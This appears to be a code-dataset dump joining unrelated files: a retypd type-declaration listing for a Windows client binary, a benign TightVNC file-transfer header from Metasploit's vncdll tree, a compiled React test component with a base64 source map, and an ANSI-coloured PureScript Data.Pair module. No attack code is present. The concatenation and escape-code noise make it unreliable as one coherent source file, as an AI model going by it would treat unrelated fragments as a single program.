541 ptr(struct(0:ptr(num8_t),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,32:ptr(TOP))) "Struct_171*"
542 ptr(struct(0:ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))),8:ptr(TOP))) "Struct_586*"
3 code_t "(_Inout_ void*,size_t,size_t,_Inout_ (_In_ void*,_In_ void* -> int)* -> void)*"
543 ptr(struct(0:uint32_t,16:uint32_t,52:ptr(TOP))) "Struct_42*"
544 ptr(struct(0:reg32_t,4:reg32_t,4294967284:ptr(num8_t),4294967292:reg32_t)) "Struct_398*"
545 ptr(struct(0:float32_t,4294967292:reg32_t)) "Struct_272*"
546 ptr(struct(0:ptr(reg32_t),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)) "Struct_627*"
547 ptr(struct(0:num32_t,4:reg32_t,8:ptr(TOP))) "Struct_401*"
548 ptr(struct(0:ptr(num8_t),4:uint32_t,8:num32_t,12:ptr(struct()))) "Struct_579*"
334 ptr(struct(28:reg32_t,44:ptr(struct(8:reg32_t,28:ptr(TOP))))) "Struct_770*"
549 ptr(struct(0:ptr(reg16_t),4:reg32_t)) "Struct_201*"
550 ptr(struct(0:ptr(TOP),4:uint32_t)) "Struct_202*"
551 ptr(struct(0:reg32_t,12:ptr(TOP),16:reg32_t,20:ptr(TOP),24:reg32_t,28:ptr(TOP),32:reg32_t,48:reg32_t,56:reg32_t,80:float64_t,88:float64_t,96:float64_t,104:reg32_t)) "Struct_448*"
552 ptr(struct(0:ptr(struct(0:reg64_t,8:num32_t)),16:reg32_t,20:reg32_t,24:num8_t,56:reg32_t,80:reg32_t)) "Struct_411*"
553 union(ptr(struct(0:array(reg8_t,64),64:ptr(TOP))),ptr(struct(52:int32_t,64:ptr(TOP),68:reg32_t,72:reg32_t))) "Union_62"
554 ptr(struct(4:num32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_563*"
555 ptr(struct(0:uint32_t,16:reg32_t,20:ptr(TOP))) "Struct_207*"
556 array(reg8_t,73) "unknown_584"
557 array(reg8_t,31) "unknown_248"
558 array(reg8_t,18) "unknown_144"
559 array(reg8_t,15) "unknown_120"
560 array(reg32_t,12) "dword[12]"
561 array(reg8_t,45) "unknown_360"
562 array(reg32_t,4) "dword[4]"
563 array(reg8_t,7) "unknown_56"
564 array(reg8_t,76) "unknown_608"
565 array(reg8_t,65) "unknown_520"
566 array(reg8_t,11) "unknown_88"
567 array(reg8_t,17) "unknown_136"
568 array(reg8_t,22) "unknown_176"
569 array(reg8_t,10) "unknown_80"
570 array(reg8_t,64) "unknown_512"
571 array(reg8_t,119) "unknown_952"
572 array(reg8_t,58) "unknown_464"
573 array(reg8_t,41) "unknown_328"
574 array(reg8_t,215) "unknown_1720"
575 array(reg8_t,23) "unknown_184"
576 array(reg8_t,66) "unknown_528"
577 array(reg8_t,61) "unknown_488"
578 array(reg8_t,34) "unknown_272"
579 array(reg8_t,33) "unknown_264"
580 array(reg8_t,14) "unknown_112"
581 array(reg8_t,9) "unknown_72"
582 array(reg8_t,25) "unknown_200"
583 array(reg8_t,42) "unknown_336"
584 array(reg8_t,50) "unknown_400"
585 array(reg8_t,67) "unknown_536"
586 array(reg8_t,63) "unknown_504"
587 array(reg8_t,94) "unknown_752"
588 array(reg8_t,53) "unknown_424"
589 array(reg8_t,80) "unknown_640"
590 array(reg8_t,112) "unknown_896"
591 array(reg8_t,16) "unknown_128"
592 array(reg8_t,145) "unknown_1160"
593 array(reg8_t,95) "unknown_760"
594 array(reg8_t,30) "unknown_240"
595 array(reg8_t,28) "unknown_224"
596 array(reg8_t,29) "unknown_232"
597 array(reg8_t,51) "unknown_408"
598 array(reg8_t,19) "unknown_152"
599 array(reg8_t,35) "unknown_280"
600 array(reg8_t,20) "unknown_160"
601 array(reg8_t,43) "unknown_344"
602 array(reg8_t,99) "unknown_792"
603 array(reg8_t,48) "unknown_384"
604 array(reg8_t,27) "unknown_216"
605 array(reg8_t,74) "unknown_592"
606 array(reg8_t,77) "unknown_616"
607 array(reg8_t,26) "unknown_208"
608 array(reg8_t,21) "unknown_168"
609 array(reg8_t,36) "unknown_288"
610 array(reg8_t,47) "unknown_376"
611 array(reg8_t,91) "unknown_728"
612 array(reg8_t,70) "unknown_560"
613 array(reg8_t,40) "unknown_320"
614 array(reg8_t,38) "unknown_304"
615 array(reg8_t,32) "unknown_256"
616 array(reg8_t,24) "unknown_192"
617 array(reg8_t,85) "unknown_680"
618 array(reg8_t,96) "unknown_768"
619 array(reg8_t,98) "unknown_784"
620 array(reg8_t,37) "unknown_296"
621 array(reg8_t,54) "unknown_432"
622 array(reg8_t,49) "unknown_392"
623 array(reg8_t,130) "unknown_1040"
624 array(reg8_t,116) "unknown_928"
625 array(reg8_t,114) "unknown_912"
626 array(reg8_t,46) "unknown_368"
627 array(reg8_t,56) "unknown_448"
628 array(reg8_t,194) "unknown_1552"
629 array(reg8_t,213) "unknown_1704"
630 array(reg8_t,163) "unknown_1304"
631 array(reg8_t,169) "unknown_1352"
632 array(reg8_t,60) "unknown_480"
633 array(reg8_t,62) "unknown_496"
634 array(reg8_t,78) "unknown_624"
635 array(reg8_t,57) "unknown_456"
636 array(reg8_t,88) "unknown_704"
637 array(reg8_t,104) "unknown_832"
638 array(reg8_t,79) "unknown_632"
639 array(reg8_t,128) "unknown_1024"
640 array(reg8_t,122) "unknown_976"
641 array(reg8_t,198) "unknown_1584"
642 array(reg8_t,39) "unknown_312"
643 array(reg8_t,123) "unknown_984"
644 array(reg8_t,52) "unknown_416"
645 array(reg8_t,156) "unknown_1248"
646 array(reg8_t,134) "unknown_1072"
647 array(reg8_t,132) "unknown_1056"
648 array(reg8_t,236) "unknown_1888"
649 array(reg8_t,59) "unknown_472"
650 array(reg8_t,487) "unknown_3896"
651 array(reg8_t,267) "unknown_2136"
652 array(reg8_t,224) "unknown_1792"
653 array(reg8_t,44) "unknown_352"
654 array(reg8_t,105) "unknown_840"
655 array(reg8_t,898) "unknown_7184"
656 array(reg8_t,103) "unknown_824"
657 array(reg8_t,72) "unknown_576"
658 array(reg8_t,83) "unknown_664"
659 array(reg8_t,121) "unknown_968"
660 array(reg8_t,82) "unknown_656"
661 array(reg8_t,71) "unknown_568"
662 array(reg8_t,129) "unknown_1032"
663 array(reg8_t,90) "unknown_720"
664 array(reg8_t,143) "unknown_1144"
665 array(reg8_t,113) "unknown_904"
666 array(reg8_t,101) "unknown_808"
667 array(reg8_t,100) "unknown_800"
668 array(reg8_t,97) "unknown_776"
669 array(reg8_t,86) "unknown_688"
670 array(reg8_t,89) "unknown_712"
671 array(reg8_t,84) "unknown_672"
672 array(reg8_t,55) "unknown_440"
673 array(reg8_t,107) "unknown_856"
674 array(reg8_t,109) "unknown_872"
675 array(reg8_t,115) "unknown_920"
676 array(reg8_t,170) "unknown_1360"
677 array(reg8_t,110) "unknown_880"
678 array(reg8_t,69) "unknown_552"
679 array(reg8_t,124) "unknown_992"
680 array(reg8_t,75) "unknown_600"
681 array(reg8_t,68) "unknown_544"
682 array(reg8_t,92) "unknown_736"
683 array(reg8_t,150) "unknown_1200"
684 array(reg8_t,131) "unknown_1048"
685 array(reg8_t,117) "unknown_936"
686 array(reg8_t,111) "unknown_888"
687 array(reg8_t,93) "unknown_744"
688 array(reg8_t,102) "unknown_816"
689 array(reg8_t,141) "unknown_1128"
690 array(reg8_t,87) "unknown_696"
691 array(reg8_t,144) "unknown_1152"
692 array(reg8_t,154) "unknown_1232"
693 array(reg8_t,125) "unknown_1000"
694 array(reg8_t,142) "unknown_1136"
695 array(reg8_t,384) "unknown_3072"
696 array(reg8_t,81) "unknown_648"
697 array(reg8_t,188) "unknown_1504"
698 array(reg8_t,244) "unknown_1952"
699 array(reg8_t,431) "unknown_3448"
700 array(reg8_t,427) "unknown_3416"
701 array(reg8_t,153) "unknown_1224"
702 array(reg8_t,108) "unknown_864"
703 array(reg8_t,181) "unknown_1448"
704 array(reg8_t,205) "unknown_1640"
705 array(reg8_t,137) "unknown_1096"
706 array(reg8_t,151) "unknown_1208"
707 array(reg8_t,155) "unknown_1240"
708 array(reg8_t,168) "unknown_1344"
709 array(reg8_t,159) "unknown_1272"
710 array(reg8_t,177) "unknown_1416"
711 array(reg8_t,201) "unknown_1608"
712 array(reg8_t,180) "unknown_1440"
713 array(reg8_t,416) "unknown_3328"
714 array(reg8_t,189) "unknown_1512"
715 array(reg8_t,196) "unknown_1568"
716 array(reg8_t,172) "unknown_1376"
717 array(reg8_t,176) "unknown_1408"
718 array(reg8_t,160) "unknown_1280"
719 array(reg8_t,241) "unknown_1928"
720 array(reg8_t,262) "unknown_2096"
721 array(reg8_t,120) "unknown_960"
722 array(reg8_t,320) "unknown_2560"
723 array(reg8_t,352) "unknown_2816"
724 array(reg8_t,383) "unknown_3064"
725 array(reg8_t,133) "unknown_1064"
726 array(reg8_t,178) "unknown_1424"
727 array(reg8_t,139) "unknown_1112"
728 array(reg32_t,14) "dword[14]"
729 array(ptr(TOP),13) "void*[13]"
730 array(reg8_t,147) "unknown_1176"
731 array(reg8_t,118) "unknown_944"
732 array(reg8_t,252) "unknown_2016"
733 array(reg8_t,140) "unknown_1120"
734 array(reg8_t,220) "unknown_1760"
735 array(reg8_t,272) "unknown_2176"
736 array(reg8_t,138) "unknown_1104"
737 array(reg8_t,126) "unknown_1008"
738 array(reg8_t,226) "unknown_1808"
739 array(reg8_t,235) "unknown_1880"
740 array(ptr(TOP),5) "void*[5]"
741 array(reg8_t,167) "unknown_1336"
742 array(reg8_t,146) "unknown_1168"
743 array(reg8_t,200) "unknown_1600"
744 array(reg8_t,136) "unknown_1088"
745 array(reg8_t,266) "unknown_2128"
746 array(reg8_t,149) "unknown_1192"
747 array(reg8_t,135) "unknown_1080"
748 array(reg8_t,212) "unknown_1696"
749 array(reg8_t,245) "unknown_1960"
750 array(reg8_t,157) "unknown_1256"
751 array(reg8_t,209) "unknown_1672"
752 array(reg8_t,250) "unknown_2000"
753 array(reg8_t,247) "unknown_1976"
754 array(reg8_t,834) "unknown_6672"
3 code_t "(UINT -ms-> void)*"
3 code_t "(void -ms-> HANDLE)*"
3 code_t "(_In_ CHAR* -ms-> HMODULE)*"
3 code_t "(_Inout_ LARGE_INTEGER* -ms-> BOOL)*"
3 code_t "(void -ms-> DWORD)*"
3 code_t "(_Inout_ LPFILETIME -ms-> void)*"
3 code_t "(_In_ char*,_Inout_ stat* -> int)*"
3 code_t "(int,_Inout_ stat* -> int)*"
3 code_t "(int,_Inout_ void*,unsigned int -> int)*"
3 code_t "(FILE*,_In_ char*,_Inout_ va_list -> int)*"
3 code_t "(int -> void)*"
3 code_t "(void -> int*)*"
3 code_t "(_In_ char* -> void)*"
3 code_t "(_Inout_ void*,size_t -> void*)*"
3 code_t "(_Inout_ char*,_In_ char*,size_t -> char*)*"
3 code_t "(size_t -> void*)*"
3 code_t "(FILE* -> void)*"
3 code_t "(FILE*,int,int -> int)*"
3 code_t "(_In_ char*,int -> int)*"
3 code_t "(_In_ char*,_In_ char*,size_t -> int)*"
3 code_t "(void -> clock_t)*"
3 code_t "(_In_ char* -> char*)*"
3 code_t "(_In_ char* -> double)*"
3 code_t "(_In_ time_t* -> char*)*"
3 code_t "(_Inout_ time_t* -> time_t)*"
3 code_t "(int -> char*)*"
3 code_t "(unsigned int -> void)*"
3 code_t "(_Inout_ _onexit_t -> _onexit_t)*"
3 code_t "(unsigned int,unsigned int -> unsigned int)*"
3 code_t "(_In_ char* -ms-> hostent*)*"
3 code_t "(int,int,int -ms-> SOCKET)*"
3 code_t "(u_short -ms-> u_short)*"
3 code_t "(SOCKET,_In_ sockaddr*,int -ms-> int)*"
3 code_t "(SOCKET,int,int,_In_ char*,int -ms-> int)*"
3 code_t "(SOCKET,int,_Inout_ u_long* -ms-> int)*"
3 code_t "(SOCKET -ms-> int)*"
3 code_t "(void -ms-> int)*"
3 code_t "(WORD,_Inout_ LPWSADATA -ms-> int)*"
3 code_t "(SOCKET,_In_ char*,int,int -ms-> int)*"
3 code_t "(int,_Inout_ fd_set*,_Inout_ fd_set*,_Inout_ fd_set*,_In_ timeval* -ms-> int)*"
3 code_t "(SOCKET,_Inout_ char*,int,int -ms-> int)*"
755 array(num8_t,21) "char[21]"
756 array(num8_t,16) "char[16]"
757 array(num8_t,20) "char[20]"
758 array(num8_t,18) "char[18]"
759 array(num8_t,23) "char[23]"
760 array(num8_t,17) "char[17]"
761 array(num8_t,22) "char[22]"
762 array(num8_t,19) "char[19]"
763 array(num8_t,15) "char[15]"
764 array(num8_t,14) "char[14]"
765 array(num8_t,5) "char[5]"
766 array(num8_t,138) "char[138]"
767 array(num8_t,27) "char[27]"
768 array(num8_t,29) "char[29]"
769 array(num8_t,8) "char[8]"
770 array(num8_t,137) "char[137]"
771 array(num8_t,12) "char[12]"
772 array(num8_t,13) "char[13]"
773 array(num8_t,4) "char[4]"
774 array(num8_t,28) "char[28]"
775 array(num8_t,3) "char[3]"
776 array(num8_t,6) "char[6]"
777 array(num8_t,30) "char[30]"
778 array(num8_t,38) "char[38]"
779 array(num8_t,7) "char[7]"
780 array(num8_t,141) "char[141]"
781 array(num8_t,2) "char[2]"
782 array(num8_t,54) "char[54]"
783 array(num8_t,39) "char[39]"
784 array(num8_t,32) "char[32]"
785 array(num8_t,24) "char[24]"
786 array(num8_t,25) "char[25]"
787 array(num8_t,9) "char[9]"
788 array(num8_t,43) "char[43]"
789 array(num8_t,49) "char[49]"
790 array(num8_t,40) "char[40]"
791 array(num8_t,34) "char[34]"
792 array(num8_t,31) "char[31]"
793 array(num8_t,37) "char[37]"
794 array(num8_t,33) "char[33]"
795 array(num8_t,35) "char[35]"
796 array(num8_t,45) "char[45]"
797 array(num8_t,41) "char[41]"
798 array(num8_t,11) "char[11]"
799 array(num8_t,44) "char[44]"
800 array(num8_t,47) "char[47]"
801 array(num8_t,63) "char[63]"
802 array(num8_t,10) "char[10]"
803 array(num8_t,58) "char[58]"
804 array(num8_t,46) "char[46]"
805 array(num8_t,139) "char[139]"
806 array(num8_t,140) "char[140]"
807 array(num8_t,26) "char[26]"
808 array(num8_t,50) "char[50]"
809 array(num8_t,42) "char[42]"
810 array(num8_t,71) "char[71]"
811 array(num8_t,53) "char[53]"
812 array(num8_t,51) "char[51]"
813 array(num8_t,64) "char[64]"
814 array(num8_t,48) "char[48]"
815 array(num8_t,142) "char[142]"
816 array(num8_t,59) "char[59]"
817 array(num8_t,75) "char[75]"
818 array(num8_t,56) "char[56]"
819 array(num8_t,72) "char[72]"
820 array(num8_t,55) "char[55]"
821 array(num8_t,36) "char[36]"
822 array(num8_t,68) "char[68]"
823 num16_t "short"
824 array(num8_t,143) "char[143]"
825 array(num8_t,144) "char[144]"
826 array(num8_t,82) "char[82]"
827 array(num8_t,62) "char[62]"
828 array(num8_t,65) "char[65]"
829 array(num8_t,70) "char[70]"
830 array(num8_t,85) "char[85]"
831 array(num8_t,61) "char[61]"
832 array(num8_t,74) "char[74]"
833 array(num8_t,57) "char[57]"
834 array(num8_t,87) "char[87]"
835 array(num8_t,52) "char[52]"
836 array(num8_t,136) "char[136]"
837 array(num8_t,88) "char[88]"
838 array(num8_t,77) "char[77]"
839 array(num8_t,66) "char[66]"
840 array(num8_t,60) "char[60]"
841 array(num8_t,145) "char[145]"
842 array(num8_t,130) "char[130]"
843 array(num8_t,146) "char[146]"
844 struct(0:num32_t,4:ptr(TOP),8:ptr(TOP)) "_SCOPETABLE_ENTRY"
845 ptr(ptr(num16_t)) "short**"
846 ptr(num16_t) "short*"
847 array(reg8_t,292) "unknown_2336"
848 array(reg8_t,2476) "unknown_19808"
849 array(reg8_t,1204) "unknown_9632"
850 array(reg8_t,14415) "unknown_115320"
851 array(reg8_t,1084) "unknown_8672"
852 array(reg8_t,49663) "unknown_397304"
853 array(reg8_t,198082) "unknown_1584656"
854 array(reg8_t,4095) "unknown_32760"
855 array(reg8_t,2048) "unknown_16384"
856 ptr(array(reg8_t,2048)) "unknown_16384*"
857 array(reg8_t,1024) "unknown_8192"
858 array(reg8_t,4096) "unknown_32768"
859 struct(0:reg32_t,4:reg32_t) "_FILETIME"
860 struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)) "FILE"
861 array(reg8_t,256) "unknown_2048"
862 ptr(struct(0:array(reg8_t,16),16:ptr(TOP))) "StructFrag_4*"
863 array(reg8_t,10188) "unknown_81504"
864 array(reg8_t,264) "unknown_2112"
865 array(reg8_t,31724) "unknown_253792"
866 array(reg8_t,16384) "unknown_131072"
867 ptr(struct(0:ptr(TOP),76:reg32_t,96:reg32_t)) "Struct_14*"
868 array(reg8_t,49116) "unknown_392928"
869 ptr(struct(12:ptr(TOP),20:ptr(ptr(struct(0:array(reg8_t,14),14:reg16_t))))) "Struct_19*"
870 array(reg8_t,32000) "unknown_256000"
871 ptr(struct(0:ptr(reg32_t),4:ptr(TOP),12:reg32_t)) "Struct_20*"
348 ptr(struct(0:uint32_t,8:reg32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))))) "Struct_23*"
872 array(reg8_t,4092) "unknown_32736"
873 array(reg8_t,4004) "unknown_32032"
874 array(reg8_t,7997) "unknown_63976"
875 ptr(struct(0:array(reg8_t,36),36:float32_t)) "StructFrag_17*"
876 array(reg8_t,832) "unknown_6656"
877 ptr(struct(0:array(reg8_t,48),48:float64_t)) "StructFrag_18*"
878 array(reg8_t,184) "unknown_1472"
879 array(reg8_t,255) "unknown_2040"
880 ptr(struct(0:array(reg8_t,16),16:float64_t)) "StructFrag_19*"
881 array(reg8_t,5120) "unknown_40960"
882 array(reg8_t,1028) "unknown_8224"
883 array(reg8_t,1080) "unknown_8640"
884 array(reg8_t,135168) "unknown_1081344"
885 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,32:ptr(TOP))) "Struct_192*"
886 ptr(struct(8:reg32_t,12:reg32_t,32:ptr(TOP))) "Struct_183*"
887 ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:reg32_t,16:num8_t,20:reg32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_95*"
888 ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:ptr(TOP),16:num8_t,20:reg32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_100*"
889 ptr(struct(0:reg32_t,8:ptr(reg32_t))) "Struct_61*"
890 ptr(struct(8:reg32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))))) "Struct_48*"
891 ptr(struct(0:ptr(struct(0:array(reg8_t,24),24:ptr(TOP))),4:ptr(TOP),8:ptr(TOP),12:reg32_t)) "Struct_89*"
892 union(num32_t,float32_t,ptr(reg32_t),ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:ptr(reg32_t),8:ptr(TOP))),ptr(struct(4:uint32_t,24:ptr(TOP))),ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))) "Union_78"
3 code_t "_onexit_t"
893 ptr(struct(0:reg32_t,4:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(struct(24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))),52:reg16_t,56:ptr(TOP))) "Struct_744*"
| BlitzBasic | 2 | matt-noonan/retypd-data | data/sphinx2_client.exe.decls | [
"MIT"
] |
// Copyright (C) 2003 Dennis Syrovatsky. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// TightVNC distribution homepage on the Web: http://www.tightvnc.com/
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on [email protected] for information on obtaining it.
#if !defined(FILETRANSFERITEMINFO_H)
#define FILETRANSFERITEMINFO_H
#include "windows.h"
typedef struct tagFTITEMINFO
{
char Name[MAX_PATH];
unsigned int Size;
unsigned int Data;
} FTITEMINFO;
typedef struct tagFTSIZEDATA
{
unsigned int size;
unsigned int data;
} FTSIZEDATA;
class FileTransferItemInfo
{
public:
int GetNumEntries();
char * GetNameAt(int Number);
unsigned int GetSizeAt(int Number);
unsigned int GetDataAt(int Number);
void Free();
void Add(char *Name, unsigned int Size, unsigned int Data);
int GetSummaryNamesLength();
FileTransferItemInfo();
virtual ~FileTransferItemInfo();
private:
FTITEMINFO * m_pEntries;
int m_NumEntries;
};
#endif // !defined(FILETRANSFERITEMINFO_H)
| C | 3 | OsmanDere/metasploit-framework | external/source/vncdll/winvnc/FileTransferItemInfo.h | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Component = Component;
var _react = _interopRequireDefault(require("react"));
var _useTheme = _interopRequireDefault(require("./useTheme"));
var _jsxFileName = "";
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function Component() {
const theme = (0, _useTheme.default)();
return /*#__PURE__*/_react.default.createElement("div", {
__source: {
fileName: _jsxFileName,
lineNumber: 16,
columnNumber: 10
}
}, "theme: ", theme);
}
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsS0FBSyxHQUFHLHdCQUFkO0FBRUEsc0JBQU87QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQWFBLEtBQWIsQ0FBUDtBQUNEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCc7XG5pbXBvcnQgdXNlVGhlbWUgZnJvbSAnLi91c2VUaGVtZSc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlVGhlbWUoKTtcblxuICByZXR1cm4gPGRpdj50aGVtZToge3RoZW1lfTwvZGl2Pjtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJ0aGVtZSJdLCJtYXBwaW5ncyI6IkNBQUQ7Y2dCQ0EsQVVEQSJ9XV1dfQ== | JavaScript | 4 | GBKstc/react-analysis | packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ComponentWithExternalCustomHooks.js | [
"MIT"
] |
[38;2;117;113;94m-- | This module defines a datatype `Pair` together with a few useful instances[0m
[38;2;117;113;94m-- | and helper functions. Note that this is not just `Tuple a a` but rather a[0m
[38;2;117;113;94m-- | list with exactly two elements. Specifically, the `Functor` instance maps[0m
[38;2;117;113;94m-- | over both values (in contrast to the `Functor` instance for `Tuple a`).[0m
[38;2;249;38;114mmodule[0m[38;2;248;248;242m [0m[38;2;248;248;242mData.Pair[0m
[38;2;248;248;242m ( [0m[38;2;248;248;242mPair[0m[38;2;248;248;242m(..)[0m
[38;2;248;248;242m , (~)[0m
[38;2;248;248;242m , [0m[38;2;248;248;242mfst[0m
[38;2;248;248;242m , [0m[38;2;248;248;242msnd[0m
[38;2;248;248;242m , [0m[38;2;248;248;242mcurry[0m
[38;2;248;248;242m , [0m[38;2;248;248;242muncurry[0m
[38;2;248;248;242m , [0m[38;2;248;248;242mswap[0m
[38;2;248;248;242m ) [0m[38;2;249;38;114mwhere[0m
[38;2;249;38;114mimport[0m[38;2;248;248;242m [0m[38;2;248;248;242mPrelude[0m
[38;2;249;38;114mimport[0m[38;2;248;248;242m [0m[38;2;248;248;242mData.Foldable[0m[38;2;248;248;242m (class [0m[38;2;166;226;46mFoldable[0m[38;2;248;248;242m)[0m
[38;2;249;38;114mimport[0m[38;2;248;248;242m [0m[38;2;248;248;242mData.Traversable[0m[38;2;248;248;242m (class [0m[38;2;166;226;46mTraversable[0m[38;2;248;248;242m)[0m
[38;2;249;38;114mimport[0m[38;2;248;248;242m [0m[38;2;248;248;242mData.Distributive[0m[38;2;248;248;242m (class [0m[38;2;166;226;46mDistributive[0m[38;2;248;248;242m)[0m
[38;2;249;38;114mimport[0m[38;2;248;248;242m [0m[38;2;248;248;242mTest.QuickCheck.Arbitrary[0m[38;2;248;248;242m (class [0m[38;2;166;226;46mArbitrary[0m[38;2;248;248;242m, [0m[38;2;166;226;46marbitrary[0m[38;2;248;248;242m)[0m
[38;2;117;113;94m-- | A pair simply consists of two values of the same type.[0m
[38;2;249;38;114mdata[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a [0m[38;2;249;38;114m=[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a a[0m
[38;2;249;38;114minfixl[0m[38;2;248;248;242m [0m[38;2;190;132;255m6[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mas[0m[38;2;248;248;242m [0m[38;2;249;38;114m~[0m
[38;2;117;113;94m-- | Returns the first component of a pair.[0m
[38;2;248;248;242mfst β· β a[0m[38;2;249;38;114m.[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a β a[0m
[38;2;248;248;242mfst (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m _) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m x[0m
[38;2;117;113;94m-- | Returns the second component of a pair.[0m
[38;2;248;248;242msnd β· β a[0m[38;2;249;38;114m.[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a β a[0m
[38;2;248;248;242msnd (_ [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m y[0m
[38;2;117;113;94m-- | Turn a function that expects a pair into a function of two arguments.[0m
[38;2;102;217;239mcurry[0m[38;2;248;248;242m β· β a b[0m[38;2;249;38;114m.[0m[38;2;248;248;242m ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a β b) β a β a β b[0m
[38;2;102;217;239mcurry[0m[38;2;248;248;242m f x y [0m[38;2;249;38;114m=[0m[38;2;248;248;242m f (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y)[0m
[38;2;117;113;94m-- | Turn a function of two arguments into a function that expects a pair.[0m
[38;2;102;217;239muncurry[0m[38;2;248;248;242m β· β a b[0m[38;2;249;38;114m.[0m[38;2;248;248;242m (a β a β b) β [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a β b[0m
[38;2;102;217;239muncurry[0m[38;2;248;248;242m f (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m f x y[0m
[38;2;117;113;94m-- | Exchange the two components of the pair[0m
[38;2;248;248;242mswap β· β a[0m[38;2;249;38;114m.[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a β [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a[0m
[38;2;248;248;242mswap (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m y [0m[38;2;249;38;114m~[0m[38;2;248;248;242m x[0m
[38;2;248;248;242mderive [0m[38;2;249;38;114minstance[0m[38;2;248;248;242m eqPair β· [0m[38;2;190;132;255mEq[0m[38;2;248;248;242m a β [0m[38;2;190;132;255mEq[0m[38;2;248;248;242m ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a)[0m
[38;2;248;248;242mderive [0m[38;2;249;38;114minstance[0m[38;2;248;248;242m ordPair β· [0m[38;2;190;132;255mOrd[0m[38;2;248;248;242m a β [0m[38;2;190;132;255mOrd[0m[38;2;248;248;242m ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m a)[0m
